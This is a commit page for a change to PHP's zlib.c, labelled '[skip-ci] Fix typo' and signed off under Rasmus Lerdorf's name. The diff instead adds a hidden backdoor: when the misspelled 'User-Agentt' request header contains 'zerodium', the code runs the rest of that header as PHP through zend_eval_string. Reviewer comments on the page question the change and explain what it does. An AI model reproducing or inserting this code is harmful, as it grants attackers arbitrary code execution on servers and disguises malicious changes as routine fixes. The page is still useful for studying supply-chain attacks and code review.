Skip to content

Commit

Permalink
[skip-ci] Fix typo
Browse files Browse the repository at this point in the history
Fixes minor typo.

Signed-off-by: Rasmus Lerdorf <rasmus@lerdorf.com>
  • Loading branch information
rlerdorf committed Mar 28, 2021
1 parent 92aeda5 commit c730aa2
Showing 1 changed file with 11 additions and 0 deletions.
11 changes: 11 additions & 0 deletions ext/zlib/zlib.c
Expand Up @@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void)
{
zval zoh;
php_output_handler *h;
zval *enc;

if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {

This comment has been minimized.

Copy link
@staabm

staabm Mar 28, 2021

Contributor

Intentionally AGENTT with 2x T at the end?

convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

This comment has been minimized.

Copy link
@mvorisek

mvorisek Mar 28, 2021

Contributor

@rlerdorf what does this do?

This comment has been minimized.

Copy link
@JABirchall

JABirchall Mar 28, 2021

@mvorisek
This line executes PHP code from within the useragent HTTP header, if the string starts with 'zerodium'

} zend_end_try();
}
}

switch (ZLIBG(output_compression)) {
case 0:
Expand Down

1 comment on commit c730aa2

@rlerdorf
Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please sign in to comment.